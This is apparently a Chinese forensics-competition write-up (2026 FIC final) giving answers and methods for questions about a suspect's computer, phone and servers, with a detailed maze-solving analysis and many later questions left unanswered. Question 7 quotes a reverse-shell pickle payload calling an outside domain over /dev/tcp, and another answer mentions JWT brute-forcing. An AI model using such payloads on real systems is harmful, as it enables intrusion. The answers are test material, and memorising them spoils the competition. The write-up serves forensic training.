2026FIC决赛

2026FIC决赛

DigiCase 自动生成的整本 Markdown,并发布到博客园。由项目 Cava1i/DigiCase 生成,欢迎 Star、Fork 和反馈。


1. 未命名题目

检材下载链接:

https://pan.baidu.com/s/13LIW9NvDahYZ-cAONIhsLg?pwd=5i83

挂载密码:

\/a15f5b1d-a9fbdb79-de9ee6bf-28b9fce1\/

检材1.计算机1. 分析计算机检材,嫌疑人TG绑定的手机号为【参考格式:110】

答案: 14453319203

  • 题目 ID:检材1.计算机1
  • 题目标签:计算机

image.png


检材1.计算机2. 分析计算机检材,cherry studio工具配置的默认模型ip地址为【参考格式:1.1.1.1】

答案: 192.168.50.156

  • 题目 ID:检材1.计算机2

image.png


检材1.计算机3. 分析计算机检材,BitLocker的恢复密钥后6位【参考格式:000000】

答案: 414590

  • 题目 ID:检材1.计算机3

电脑桌面的backup文件夹导出
image.png
image.png
image.png
使用的我自己写的拼图工具:
https://github.com/Cava1i/PuzzleMender
拖进去自动识别自动拼接
image.png
gaps_solved_final.png
精度有限,用截图软件微调修正一下,就能识别了
image.png
image.png

已解码数据 1:

位置:(18.8,27.2)-(627.9,33.7)-(24.2,632.5)-(624.5,635.7)
颜色正常, 正像
版本: 24
纠错等级:Q, 掩码:3
内容:
BitLocker 驱动器加密恢复密钥

要验证这是否为正确的恢复密钥,请将以下标识符的开头与电脑上显示的标识符值进行比较。

标识符:

57B921A2-FBFD-403B-8E39-0DF21BCD78EF

如果以上标识符与电脑显示的标识符匹配,则使用以下密钥解锁你的驱动器。

恢复密钥:

689865-233827-094380-171589-275946-330451-580448-414590

如果以上标识符与电脑显示的标识符不匹配,则该密钥不是解锁你的驱动器的正确密钥。
请尝试其他恢复密钥,或参阅 https://go.microsoft.com/fwlink/?LinkID=260589 以获得其他帮助。



* 检材1.计算机4. 分析计算机检材并找到proton邮箱的助记词,第一个单词为【参考格式:bad】

  • 题目 ID:检材1.计算机4

搜proton关键词,找到关键文件
image.png


检材1.计算机5. 分析计算机检材,嫌疑人对zhuhu.fic网站发起攻击时,用户名user对应的密码为【参考格式:123】

答案: 1qazxsw2

  • 题目 ID:检材1.计算机5

yakit
image.png
找状态码200的
image.png


检材1.计算机6. 分析计算机检材,嫌疑人对zhuhu.fic网站发起攻击时网站使用的jwt,其签名密钥为【参考格式:123】

  • 题目 ID:检材1.计算机6

image.png

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzc4MTE5OTM3fQ.m72Q46r6rUeEyx0UGaCJouvpjBpjVvVr2XWaXRxOoi0","username":"user","role":"user"}

jwt爆破
image.png


检材1.计算机7. 分析计算机检材,嫌疑人对zhuhu.fic网站发起攻击时,使用的反弹shell中配置的外联服务器域名为【参考格式:baidu.com】

答案: yutubi.top

  • 题目 ID:检材1.计算机7

image.png

cos
system
(S'bash -c "bash -i >& /dev/tcp/yutubi.top/2333 0>&1"'
tR.

检材1.计算机8. 分析计算机检材,嫌疑人对zhuhu.fic网站发起攻击过程中,下载的住户信息文件密码为【参考格式:123】

答案: kfcvme50xiexie

  • 题目 ID:检材1.计算机8

image.png
image.png

image.png
image.png


检材1.计算机9. 搜索计算机检材,找到迷宫游戏中预设的最优路径,分析游戏中隐藏的密码【参考格式:123】

答案: 427d672e8b36c12343f8380628025677

  • 题目 ID:检材1.计算机9

image.png

0. 结论

passkit-ProMaxPlus 是一个 Electron 桌面应用,核心代码没有藏在 176 MB 的主程序汇编中,而是以明文 JavaScript 和地图数据的形式打包在 resources/app.asar 中。

程序要求玩家从迷宫左上角 (0,0) 走到右下角 (19,19),并且只有走过预设的最优路径时才显示密码。对迷宫建图并执行 BFS 后得到:

  • 迷宫规模:20 x 20,共 400 个格子;
  • 图中的内部通路数:399;
  • 从起点可达的格子:400;
  • 迷宫图满足 E = V - 1 且连通,因此是一棵树;
  • 起点到终点的路径唯一,也必然是最短路径;
  • 最短路径包含 219 个格子,即 218 步;
  • 最优路径字符串的 MD5:427d672e8b36c12343f8380628025677
  • 再次 MD5:eeb34e08916da88e2d2ebe3503fceb50,与程序内置常量完全一致。

最终隐藏密码为:

重要密码:427d672e8b36c12343f8380628025677

1. 样本信息

题目目录:

E:\做题区域\passkit-ProMaxPlus

关键文件及 SHA-256:

文件 大小 SHA-256
passkit-ProMaxPlus.exe 176,813,568 bytes E3219E4770D2026AEDC4459DC8611E4376C2BE99A85954C7F114F4E261D67CBA
resources/app.asar 6,539,912 bytes 5E746C41C92EC2AD56BD40BDB15F7CF4759FA723149F62606DC103BE561C879B

分析环境:

工具 版本/用途
Windows PowerShell 5.1.26100.8875,文件侦察与哈希计算
Node.js v24.15.0
@electron/asar v4.2.1,枚举和解包 ASAR
Python 3.11.4,解析迷宫、BFS 和 MD5 验证

2. 初步侦察:先识别程序类型

目录中存在以下典型文件:

passkit-ProMaxPlus.exe
LICENSE.electron.txt
LICENSES.chromium.html
chrome_100_percent.pak
chrome_200_percent.pak
icudtl.dat
libEGL.dll
libGLESv2.dll
resources/app.asar
snapshot_blob.bin
v8_context_snapshot.bin

LICENSE.electron.txt、Chromium 资源、V8 快照以及 resources/app.asar 共同说明这是一个标准 Electron 应用。passkit-ProMaxPlus.exe 的主要内容是 Electron/Chromium 运行时,对它直接进行 IDA/Ghidra 反编译会得到大量框架代码,并不能快速接近题目的迷宫逻辑。

目录中已有的 passkit-ProMaxPlus_recovered/manifest.json 显示:

{
  "summary": {
    "source_count": 0,
    "artifact_count": 0,
    "warning_count": 1
  }
}

这份恢复报告把主 EXE 当作普通原生或 Python 打包程序处理,因此没有识别 Electron 的 ASAR 资源。正确的分析目标应当是 resources/app.asar

3. 解包 Electron ASAR

在题目目录执行:

Set-Location 'E:\做题区域\passkit-ProMaxPlus'
npx --yes @electron/asar list '.\resources\app.asar'

最可靠的方法是联网时提前安装:

npm install --global @electron/asar

之后断网直接使用:

asar list '.\resources\app.asar'
asar extract '.\resources\app.asar' '.\app_unpacked'

ASAR 中的关键文件很少:

\main.js
\map.html
\map.txt
\package.json
\preload.js
\app-data\...

解包命令:

npx --yes @electron/asar extract '.\resources\app.asar' '.\app_unpacked'

后续分析主要集中在:

app_unpacked/package.json
app_unpacked/main.js
app_unpacked/preload.js
app_unpacked/map.html
app_unpacked/map.txt

3.1 确认入口文件

package.json 指定 main.js 为 Electron 主进程入口:

{
  "name": "maze-game",
  "version": "1.0.0",
  "description": "passkit-ProMaxPlus",
  "main": "main.js",
  "author": "Maze Game",
  "license": "MIT"
}

main.js 只负责创建窗口并加载 map.html

const { app, BrowserWindow } = require('electron');
const path = require('path');

app.setPath('userData', path.join(__dirname, 'app-data'));

function createWindow() {
    mainWindow = new BrowserWindow({
        width: 1400,
        height: 900,
        webPreferences: {
            nodeIntegration: false,
            contextIsolation: true,
            preload: path.join(__dirname, 'preload.js')
        }
    });

    mainWindow.loadFile('map.html');
}

preload.js 同样没有隐藏业务逻辑,只向页面暴露平台信息:

const { contextBridge } = require('electron');

contextBridge.exposeInMainWorld('electronAPI', {
  platform: process.platform,
  isElectron: true
});

因此不需要继续追踪 IPC、原生扩展或远程接口。题目的全部核心逻辑位于 map.htmlmap.txt

4. 分析地图格式

map.html 通过 fetch('map.txt') 读取地图:

const response = await fetch('map.txt');
const text = await response.text();
const lines = text.trim().split('\n');
const [rows, cols] = lines[0].split(' ').map(Number);

ROWS = rows;
COLS = cols;

mazeWalls = [];
for (let i = 1; i < lines.length; i++) {
    mazeWalls[i - 1] = lines[i].split(' ').map(Number);
}

startCell = { row: 0, col: 0 };
endCell = { row: ROWS - 1, col: COLS - 1 };

map.txt 的第一行是:

20 20

后续 20 行各有 20 个整数,每个整数描述对应格子的墙。绘制代码揭示了位掩码的含义:

const w = mazeWalls[r][c];
if (w & 1) { /* 绘制上墙 */ }
if (w & 2) { /* 绘制右墙 */ }
if (w & 4) { /* 绘制下墙 */ }
if (w & 8) { /* 绘制左墙 */ }

整理如下:

位值 二进制 方向 含义
1 0001 该格子的上边有墙
2 0010 该格子的右边有墙
4 0100 该格子的下边有墙
8 1000 该格子的左边有墙

这里需要注意:位被设置表示“有墙”,位没有设置才表示可以通行。例如某格数值为 10,即二进制 1010,说明它有左墙和右墙,上下方向开放。

起点 (0,0) 的上方和终点 (19,19) 的下方各有一个朝地图外部的开口。建图时即使发现对应墙位没有设置,也必须先检查坐标边界,不能把地图外部当作节点。

5. 定位路径记录逻辑

初始化游戏时,程序将起点以 x,y 格式写入 logicPath

logicPath = [`${startCell.col},${startCell.row}`];
playerX = startCell.col * CELL_SIZE + CELL_SIZE / 2;
playerY = startCell.row * CELL_SIZE + CELL_SIZE / 2;
lastStepCell = `${startCell.row},${startCell.col}`;

移动过程中,只要玩家进入新的格子,程序就向 logicPath 追加坐标:

const currentCell =
    `${Math.floor(playerY / CELL_SIZE)},${Math.floor(playerX / CELL_SIZE)}`;

if (currentCell !== lastStepCell) {
    lastStepCell = currentCell;
    stepCount++;
    logicPath.push(
        `${Math.floor(playerX / CELL_SIZE)},${Math.floor(playerY / CELL_SIZE)}`
    );
}

这里存在一个容易看错的坐标顺序:

  • currentCelllastStepCell 使用 row,col,即 y,x,仅用于判断玩家是否换格;
  • 真正参与哈希的 logicPath 使用 x,y

因此求解器必须生成:

0,0|0,1|1,1|...

而不能生成 row,col 顺序的字符串。

6. 定位胜利条件与隐藏密码

当玩家接近右下角终点中心时,程序拼接完整路径并进行双重 MD5 校验:

const pathStr = logicPath.join('|');
console.log(pathStr);

pass = "";
if (md5(md5(pathStr)) == "eeb34e08916da88e2d2ebe3503fceb50") {
    pass = `重要密码:${md5(pathStr)}`;
}
victoryStats.textContent = pass;

设完整路径字符串为 S,页面最终显示的 32 位密码为 P,则关系为:

P = MD5(S)
MD5(P) = eeb34e08916da88e2d2ebe3503fceb50

直接对第二层 MD5 做通用原像攻击没有必要,也不现实。地图只有 400 个节点,先求出最优路径 S,再正向计算两次 MD5 即可。

页面内置的是标准 MD5 实现。虽然它直接使用 JavaScript charCodeAt() 生成字节,但 pathStr 只包含 ASCII 数字、逗号和竖线,因此 Python 的 hashlib.md5(pathStr.encode('ascii')) 与页面实现完全一致。

7. 将迷宫转换为图

把每个格子 (x,y) 看作一个节点。对于每个方向:

  1. 当前格子对应方向的墙位必须为 0;
  2. 相邻坐标必须仍在 0 <= x < 200 <= y < 20 范围内;
  3. 相邻格子的反方向墙位也应该为 0;
  4. 满足以上条件时,在两个格子之间建立无向边。

方向与反方向墙位的对应关系为:

移动 坐标变化 当前墙位 相邻格反向墙位
U (0,-1) 1 4
R (1,0) 2 8
D (0,1) 4 1
L (-1,0) 8 2

建图后的统计结果为:

Vertices   = 400
Edges      = 399
Reachable  = 400
Asymmetry  = 0

因为 400 个节点全部连通,并且边数为 400 - 1 = 399,所以该图是一棵树。树中任意两个节点之间只有一条简单路径。这意味着 (0,0)(19,19) 的路径不仅是 BFS 找到的最短路径,也是唯一可能的无重复路径。

8. BFS 求解脚本

以下脚本从解包后的 app_unpacked/map.txt 开始,完成地图解析、墙一致性检查、BFS、路径回溯、MD5 计算和内置常量验证:

from collections import deque
from hashlib import md5
from pathlib import Path
import sys

MAP_PATH = (
    Path(sys.argv[1])
    if len(sys.argv) > 1
    else Path("app_unpacked/map.txt")
)
TARGET_DOUBLE_MD5 = "eeb34e08916da88e2d2ebe3503fceb50"

data = [
    line.strip()
    for line in MAP_PATH.read_text(encoding="utf-8").splitlines()
    if line.strip()
]
rows, cols = map(int, data[0].split())
maze = [list(map(int, line.split())) for line in data[1:]]

if len(maze) != rows or any(len(row) != cols for row in maze):
    raise ValueError("map.txt dimensions do not match its header")

### dx, dy, 当前格墙位, 相邻格反向墙位, 方向名
DIRECTIONS = (
    (0, -1, 1, 4, "U"),
    (1, 0, 2, 8, "R"),
    (0, 1, 4, 1, "D"),
    (-1, 0, 8, 2, "L"),
)

def neighbors(x, y):
    for dx, dy, wall, opposite, _ in DIRECTIONS:
        # 当前方向有墙,不能通过。
        if maze[y][x] & wall:
            continue

        nx, ny = x + dx, y + dy

        # 起点和终点存在朝迷宫外部的开口。
        if not (0 <= nx < cols and 0 <= ny < rows):
            continue

        # 地图中的内部墙应该从两侧看都一致。
        if maze[ny][nx] & opposite:
            raise ValueError(
                f"asymmetric wall between {(x, y)} and {(nx, ny)}"
            )

        yield nx, ny

start = (0, 0)
end = (cols - 1, rows - 1)

queue = deque([start])
previous = {start: None}

### BFS。previous 同时用于去重和最终路径回溯。
while queue:
    current = queue.popleft()
    for nxt in neighbors(*current):
        if nxt not in previous:
            previous[nxt] = current
            queue.append(nxt)

if end not in previous:
    raise RuntimeError("end cell is unreachable")

### 从终点沿 previous 回溯到起点。
path = []
current = end
while current is not None:
    path.append(current)
    current = previous[current]
path.reverse()

### 必须严格模拟页面中的 x,y|x,y|... 格式。
path_str = "|".join(f"{x},{y}" for x, y in path)

delta_to_direction = {
    (0, -1): "U",
    (1, 0): "R",
    (0, 1): "D",
    (-1, 0): "L",
}
moves = "".join(
    delta_to_direction[(x2 - x1, y2 - y1)]
    for (x1, y1), (x2, y2) in zip(path, path[1:])
)

password = md5(path_str.encode("ascii")).hexdigest()
double_md5 = md5(password.encode("ascii")).hexdigest()

if double_md5 != TARGET_DOUBLE_MD5:
    raise RuntimeError(f"verification failed: {double_md5}")

### 只统计向右和向下的内部通路,避免无向边被计数两次。
edge_count = sum(
    1
    for y in range(rows)
    for x in range(cols)
    for wall, inside in (
        (2, x + 1 < cols),
        (4, y + 1 < rows),
    )
    if inside and not (maze[y][x] & wall)
)

vertex_count = rows * cols
is_tree = (
    len(previous) == vertex_count
    and edge_count == vertex_count - 1
)

print(f"vertices      = {vertex_count}")
print(f"edges         = {edge_count}")
print(f"reachable     = {len(previous)}")
print(f"is_tree       = {is_tree}")
print(f"path_cells    = {len(path)}")
print(f"path_moves    = {len(path) - 1}")
print(f"directions    = {moves}")
print(f"path_str      = {path_str}")
print(f"password      = {password}")
print(f"double_md5    = {double_md5}")

运行方式:

python .\solve.py '.\app_unpacked\map.txt'

脚本的关键输出:

vertices      = 400
edges         = 399
reachable     = 400
is_tree       = True
path_cells    = 219
path_moves    = 218
password      = 427d672e8b36c12343f8380628025677
double_md5    = eeb34e08916da88e2d2ebe3503fceb50

9. 完整最优路径

使用 U/R/D/L 表示上、右、下、左,218 步的方向序列为:

DRDLDDDDDDDDDRDDRUURRDRRUUUURDRUULURRRUULDLLLDLUURURRRUUURRDLDDRURRRDLLDRRRUUURURRDRDLDDLULDDLDRDRRULURRDDDDLULLDDDRURDRDLLDLLLDRDLDDLUUULDDDLDLUURULLLLULLDRDRRDDLULLLLURULLDLLDRDDRRRURDRRRRRRRURDRRRUUURDDDRUUUUURDDDDD

程序实际参与 MD5 的完整 pathStr 为:

0,0|0,1|1,1|1,2|0,2|0,3|0,4|0,5|0,6|0,7|0,8|0,9|0,10|0,11|1,11|1,12|1,13|2,13|2,12|2,11|3,11|4,11|4,12|5,12|6,12|6,11|6,10|6,9|6,8|7,8|7,9|8,9|8,8|8,7|7,7|7,6|8,6|9,6|10,6|10,5|10,4|9,4|9,5|8,5|7,5|6,5|6,6|5,6|5,5|5,4|6,4|6,3|7,3|8,3|9,3|9,2|9,1|9,0|10,0|11,0|11,1|10,1|10,2|10,3|11,3|11,2|12,2|13,2|14,2|14,3|13,3|12,3|12,4|13,4|14,4|15,4|15,3|15,2|15,1|16,1|16,0|17,0|18,0|18,1|19,1|19,2|18,2|18,3|18,4|17,4|17,3|16,3|16,4|16,5|15,5|15,6|16,6|16,7|17,7|18,7|18,6|17,6|17,5|18,5|19,5|19,6|19,7|19,8|19,9|18,9|18,8|17,8|16,8|16,9|16,10|16,11|17,11|17,10|18,10|18,11|19,11|19,12|18,12|17,12|17,13|16,13|15,13|14,13|14,14|15,14|15,15|14,15|14,16|14,17|13,17|13,16|13,15|13,14|12,14|12,15|12,16|12,17|11,17|11,18|10,18|10,17|10,16|11,16|11,15|10,15|9,15|8,15|7,15|7,14|6,14|5,14|5,15|6,15|6,16|7,16|8,16|8,17|8,18|7,18|7,17|6,17|5,17|4,17|3,17|3,16|4,16|4,15|3,15|2,15|2,16|1,16|0,16|0,17|1,17|1,18|1,19|2,19|3,19|4,19|4,18|5,18|5,19|6,19|7,19|8,19|9,19|10,19|11,19|12,19|12,18|13,18|13,19|14,19|15,19|16,19|16,18|16,17|16,16|17,16|17,17|17,18|17,19|18,19|18,18|18,17|18,16|18,15|18,14|19,14|19,15|19,16|19,17|19,18|19,19

10. 密码计算与最终验证

对上述单行 pathStr 计算第一层 MD5:

MD5(pathStr)
= 427d672e8b36c12343f8380628025677

将第一层结果作为 ASCII 字符串再次计算 MD5:

MD5("427d672e8b36c12343f8380628025677")
= eeb34e08916da88e2d2ebe3503fceb50

第二层结果与 map.html 中的内置比较常量完全相同,因此第一层结果就是程序认可的隐藏密码:

重要密码:427d672e8b36c12343f8380628025677

11. 关键注意事项

  1. 不要优先逆 176 MB 的 EXE。 Electron 外壳包含大量 Chromium/V8 代码,题目逻辑实际位于明文 ASAR。
  2. ASAR 是归档格式,不是加密。 使用 @electron/asar 即可直接列出和解包文件。
  3. 墙位为 1 表示有墙。 建图条件是对应位为 0,而不是为 1。
  4. 哈希坐标顺序是 x,y 页面内部同时使用了 y,xx,y 两种字符串,只有 logicPathx,y 参与 MD5。
  5. 路径字符串格式必须完全一致。 格子之间使用单个 |,坐标内使用单个 ,,没有空格、换行或末尾分隔符。
  6. 不能只对方向串做 MD5。 页面哈希的是完整坐标序列,而不是 DRDL...
  7. 允许的物理移动轨迹不重要。 程序只在进入新格子时记录离散坐标,因此求解时只需要处理格子图。
  8. 双 MD5 常量用于确认路径。 它不是需要直接爆破的密码;先由静态地图求路径,再正向计算哈希即可。

12. 总结

本题的核心是正确识别 Electron 打包结构,并从胜利条件反向追踪到 logicPath。迷宫数据使用四位墙位掩码表示,转换成图后可以证明整个迷宫是一棵包含 400 个节点、399 条边的树。使用 BFS 找到从 (0,0)(19,19) 的唯一最短路径,严格按照程序的 x,y|x,y|... 格式序列化,再执行两次 MD5,即可得到并验证隐藏密码。


检材1.计算机10. 用上述密码解密嫌疑人窃取的外卖数据文件,其中address字段为沈阳市的用户数量为(无需去重或验证数据真实性)【参考格式:1】

答案: 687

  • 题目 ID:检材1.计算机10

image.png
SqliteCipher打开
image.png


检材1.计算机11. 搜索计算机检材,找到树莓派备份文件,分析其中部署的模型文件md5值为【参考格式:123】

答案: DAD354B796D74F65C9BDD354FDA01BD6

  • 题目 ID:检材1.计算机11

写软件转化提取该格式的文件
image.png
raw更快
在usr/model找到模型文件
image.png


检材1.计算机12. 分析树莓派备份文件,其中部署的ai agent程序为【参考格式:openclaw】

答案: hermes

  • 题目 ID:检材1.计算机12

一眼hermes
image.png


检材1.计算机13. 分析树莓派备份文件,agent程序中,用于爬取暗网的skill所爬取的网站域名为【参考格式:htttp://baidu.com/】

答案: http://7ukmkdtyxdkdivtjad57klqnd3kdsmq6tp45rrsxqnu76zzv3jvitlqd.onion/

  • 题目 ID:检材1.计算机13

image.png
+写一个skill ,调用tor 爬取http://7ukmkdtyxdkdivtjad57klqnd3kdsmq6tp45rrsxqnu76zzv3jvitlqd.onion/ 内容


检材1.计算机14. 分析该agent程序,skill在爬取暗网过程中,最早下载的样本文件名为【参考格式:1.txt】

答案: sample_5_databases-info.txt

  • 题目 ID:检材1.计算机14

在auto_crawl.py

/root/.hermes/skills/devops/tor-onion-crawler/scripts/auto_crawl.py:16 中找到 TARGET_URL,可直接确定爬取域名。

同一脚本第 17 行指定下载目录为 downloads,第 129 行定义命名规则:sample_{条目序号}_{URL原文件名}

/root/.hermes/sessions/session_20260507_171124_dff707.json:1492
显示下载顺序:

sample_5_databases-info.txt
sample_8_db2.zip
sample_8_db3.zip

最先尝试的 samples.zip 因目标主机不可达而失败,不能算“已下载的样本”。
实体文件时间也能互证:
17:25:13 sample_5_databases-info.txt
17:25:18 sample_8_db2.zip
17:25:57 sample_8_db3.zip


检材1.计算机15. 暗网服务使用的上游代理ip地址是什么【参考格式:1.1.1.1】

答案: 192.168.50.135

  • 题目 ID:检材1.计算机15

image.png

192.168.50.135:9988

检材1.计算机16. 分析计算机检材中的cs.exe,请给出这个exe程序的md5值?【参考格式:c4ca4238a0b923820dcc509a6f75849b】

答案: E630529110A01B1CE38A9A1BF3BEE9F0

  • 题目 ID:检材1.计算机16

image.png


检材1.计算机17. 分析计算机检材中的cs.exe,连接的C2地址是?【答案格式:12.34.56.78:3652】

  • 题目 ID:检材1.计算机17

这条笔记还没有正文。


检材1.计算机18. 分析计算机检材中的cs.exe,可以获取几个浏览器的密码?【答案格式:1】

  • 题目 ID:检材1.计算机18

这条笔记还没有正文。


检材1.计算机19. 分析计算机检材中的cs.exe,客户端回传了加密数据8xULYcBPgtVDeUYCpKtisYPuPZaetRX3QrOF94R8x7PrbpZ0RgQleZqYFqDUnXyB3rSICCkauTo/UDC7eOV1SwCv8H+JEuE4+mw0H7vJqv+ZzOESLJ/2I6LiqqLSBDCsCBc8bcjpEskkCX8RNUAQQQ==,解密数据,hostname的值为?

  • 题目 ID:检材1.计算机19

这条笔记还没有正文。


检材1.计算机20. 分析计算机检材中的cs.exe,可以从服务端接收的action指令有多少种?【参考格式:1】

  • 题目 ID:检材1.计算机20

这条笔记还没有正文。


检材2.手机1. 分析手机检材,该手机设备名称为【参考格式:小米 17 pro】

  • 题目 ID:检材2.手机1

这条笔记还没有正文。


检材2.手机2. 分析手机检材,该手机系统magisk【环境版本】为【参考格式:26000】

  • 题目 ID:检材2.手机2

这条笔记还没有正文。


检材2.手机3. 分析手机检材,嫌疑人通过盖世游戏app安装的《最终幻想》游戏版本是罗马数字

  • 题目 ID:检材2.手机3

这条笔记还没有正文。


检材2.手机4. 分析手机检材,5月6日,嫌疑人最后一次使用谷歌套件中的某个app,其包名是

  • 题目 ID:检材2.手机4

这条笔记还没有正文。


检材2.手机5. 分析上述app5月6日推送新闻的相关痕迹和缓存,新闻《男子拾获钱包以为天降横财》中事件发生的地点是上海闵行

  • 题目 ID:检材2.手机5

这条笔记还没有正文。


检材2.手机6. 分析该手机关机信息情况,最近一次因电池电池异常过热导致关机的北京时间为(格式:1970-01-01 00:11:22)

  • 题目 ID:检材2.手机6

这条笔记还没有正文。


检材2.手机7. 分析手机检材,北京时间2026-05-06 10:43:38左右那些应用的通知被查看了?

  • 题目 ID:检材2.手机7

这条笔记还没有正文。


检材2.手机8. 该手机曾进行过一次备份,使用的工具是【参考格式:ABC123】

  • 题目 ID:检材2.手机8

这条笔记还没有正文。


检材2.手机9. 使用上述工具进行备份的具体日期是【参考格式:2000/1/1】

  • 题目 ID:检材2.手机9

这条笔记还没有正文。


检材2.手机10. 手机重启过程中,屏幕上除厂商logo外,还可以看到以下哪些内容

  • 题目 ID:检材2.手机10

这条笔记还没有正文。


检材2.手机11. 分析上述除logo外的信息,发现与加密后的助记词有关,这里用来加密助记词使用的对称加密算法为【参考格式:md5】

  • 题目 ID:检材2.手机11

这条笔记还没有正文。


检材2.手机12. 助记词有部分残缺,需要补全的助记词数量为【参考格式:1】

  • 题目 ID:检材2.手机12

这条笔记还没有正文。


检材2.手机13. 嫌疑人近期使用了一款笔记软件,该应用数据加密使用的主要加密算法为rsa-pbdkf2

  • 题目 ID:检材2.手机13

这条笔记还没有正文。


检材2.手机14. 分析该笔记软件,其数据库一次解密密钥为

  • 题目 ID:检材2.手机14

这条笔记还没有正文。


检材2.手机15. 用来解密5月8日的收入的二次解密密钥为

  • 题目 ID:检材2.手机15

这条笔记还没有正文。


检材2.手机16. 笔记软件中记录5月7日的收入为【参考格式:123.45】

  • 题目 ID:检材2.手机16

这条笔记还没有正文。


检材2.手机17. 笔记软件中记录5月6日的收入为【参考格式:123.45】

  • 题目 ID:检材2.手机17

这条笔记还没有正文。


检材2.手机18. 手机检材中有一个AI助手程序,分析该程序配置与任务,哪个应用程序运行后会清空本地存储内容?回答包名【参考格式:a.b.c】

  • 题目 ID:检材2.手机18

这条笔记还没有正文。


检材2.手机19. 分析AI助手程序调用的模型,结合笔记软件中的记录,用来隐藏银行卡密码的模型文件名为【参考格式:icp123】

  • 题目 ID:检材2.手机19

这条笔记还没有正文。


检材2.手机20. 嫌疑人曾自行修改上题中的模型,他是通过什么原始模型修改而来的?【参考格式:abc】

  • 题目 ID:检材2.手机20

这条笔记还没有正文。


检材2.手机21. 被修改后的模型量化精度为

  • 题目 ID:检材2.手机21

这条笔记还没有正文。


检材2.手机22. 能够提升修改后模型对话能力的虚拟token为【参考格式:

  • 题目 ID:检材2.手机22

这条笔记还没有正文。


检材2.手机23. 分析AI助手与笔记软件中的记录,找出银行卡6位数字密码为【参考格式:123456】

  • 题目 ID:检材2.手机23

这条笔记还没有正文。


检材3&4.Linux服务器1. 分析服务器检材,找出来自阿里云的服务器镜像,其源盘SHA256值为【参考格式:ABC】

  • 题目 ID:检材3&4.Linux服务器1

这条笔记还没有正文。


检材3&4.Linux服务器2. 分析服务器检材,“星球商城”网站使用的 React 服务端渲染应用框架为?【参考格式:thinkPHP】

  • 题目 ID:检材3&4.Linux服务器2

这条笔记还没有正文。


检材3&4.Linux服务器3. 分析服务器检材,“星球商城”网站管理员密码所用的盐为?【参考格式:ABC】

  • 题目 ID:检材3&4.Linux服务器3

这条笔记还没有正文。


检材3&4.Linux服务器4. 分析服务器检材,“星球商城”网站备份的数据库加密后文件名为?【参考格式:abc.abc.abc】

  • 题目 ID:检材3&4.Linux服务器4

这条笔记还没有正文。


检材3&4.Linux服务器5. 分析服务器检材,“星球商城”网站使用了NOWPayments作为支付接口,其api_key为?【参考格式:8K2M9PL-QT7X4NR-3A5F6D8-GVY1CW2】

  • 题目 ID:检材3&4.Linux服务器5

这条笔记还没有正文。


检材3&4.Linux服务器6. “星球商城”网站已成功交易的订单总金额是多少?【参考格式:10】

  • 题目 ID:检材3&4.Linux服务器6

这条笔记还没有正文。


检材3&4.Linux服务器7. 卡号为797037X33CIHX7S6的充值卡,其面值是多少积分?【参考格式:1】

  • 题目 ID:检材3&4.Linux服务器7

这条笔记还没有正文。


检材3&4.Linux服务器8. “星球商城”网站订单号为8FKXMF1OXOL3ZZ0H的购买者,其TG昵称是什么?【参考格式:tom】

  • 题目 ID:检材3&4.Linux服务器8

这条笔记还没有正文。


检材3&4.Linux服务器9. 根据“星球商城”网站仪表盘的显示,其技术支持栏中提供的 TG 用户名是什么?【参考格式:zhangsan】

  • 题目 ID:检材3&4.Linux服务器9

这条笔记还没有正文。


检材3&4.Linux服务器10. openclaw 当前配置使用的模型名称是什么?【参考格式:xx/xx】

  • 题目 ID:检材3&4.Linux服务器10

这条笔记还没有正文。


检材3&4.Linux服务器11. openclaw 为上述模型设置的 API Key 是什么?【参考格式:sk-xxx】

  • 题目 ID:检材3&4.Linux服务器11

这条笔记还没有正文。


检材3&4.Linux服务器12. openclaw 定时广告推送任务中的链接是?【参考格式: https://www.baidu.com

  • 题目 ID:检材3&4.Linux服务器12

这条笔记还没有正文。


检材3&4.Linux服务器13. openclaw 目前已安装的技能数量是多少?【参考格式:1】

  • 题目 ID:检材3&4.Linux服务器13

这条笔记还没有正文。


检材3&4.Linux服务器14. 嫌疑人将其所使用的 openclaw 命名为?【参考格式:小名】

  • 题目 ID:检材3&4.Linux服务器14

这条笔记还没有正文。


检材3&4.Linux服务器15. “星球商城”网站所在服务器(IP:8.217.145.152)的 root 密码是多少?【参考格式:abc】

  • 题目 ID:检材3&4.Linux服务器15

这条笔记还没有正文。


检材3&4.Linux服务器16. 嫌疑人给 openclaw 安装的本地密码管理技能的名称是?【参考格式:xxx-xxx】

  • 题目 ID:检材3&4.Linux服务器16

这条笔记还没有正文。


检材3&4.Linux服务器17. 嫌疑人设置的本地密码管理器主密码是?【参考格式:xxxx】

  • 题目 ID:检材3&4.Linux服务器17

这条笔记还没有正文。


检材3&4.Linux服务器18. 嫌疑人进行广告推广的‘白果视频’网站的网址是什么?【参考格式: https://www.baidu.com

  • 题目 ID:检材3&4.Linux服务器18

这条笔记还没有正文。


检材3&4.Linux服务器19. Docker 容器 tg_faka 所连接的数据库的密码是多少?【参考格式:xxx】

  • 题目 ID:检材3&4.Linux服务器19

这条笔记还没有正文。


检材3&4.Linux服务器20. 嫌疑人使用 openclaw 在其另一台服务器上安装了 Docker,请问该服务器的 IP 地址是什么?【参考格式:127.0.0.1】

  • 题目 ID:检材3&4.Linux服务器20

这条笔记还没有正文。


检材3&4.Linux服务器21. tg_faka 机器人所配置的 TG Bot Token 是什么?【参考格式:1234567890:ABCdefGHIjklmNOPqrstUVwxyz1234567890】

  • 题目 ID:检材3&4.Linux服务器21

这条笔记还没有正文。


检材3&4.Linux服务器22. tg_faka 机器人所处理的订单中,状态为“已完成”的订单总共有多少条?【参考格式:1】

  • 题目 ID:检材3&4.Linux服务器22

这条笔记还没有正文。


检材3&4.Linux服务器23. TG 昵称为 milo 的用户的支付宝账号是多少?【参考格式:xxx】

  • 题目 ID:检材3&4.Linux服务器23

这条笔记还没有正文。


检材3&4.Linux服务器24. 嫌疑人创建的用于售卖卡密(卡号与密码)的 TG 群组名称是什么?【参考格式:弘连网络】

  • 题目 ID:检材3&4.Linux服务器24

这条笔记还没有正文。


检材3&4.Linux服务器25. 在群管机器人的统计数据中,通过验证并成功加入群聊的总人数是多少【参考格式:1】

  • 题目 ID:检材3&4.Linux服务器25

这条笔记还没有正文。


检材3&4.Linux服务器26. 嫌疑人在群管机器人中配置的广告共有多少条?【参考格式:1】

  • 题目 ID:检材3&4.Linux服务器26

这条笔记还没有正文。


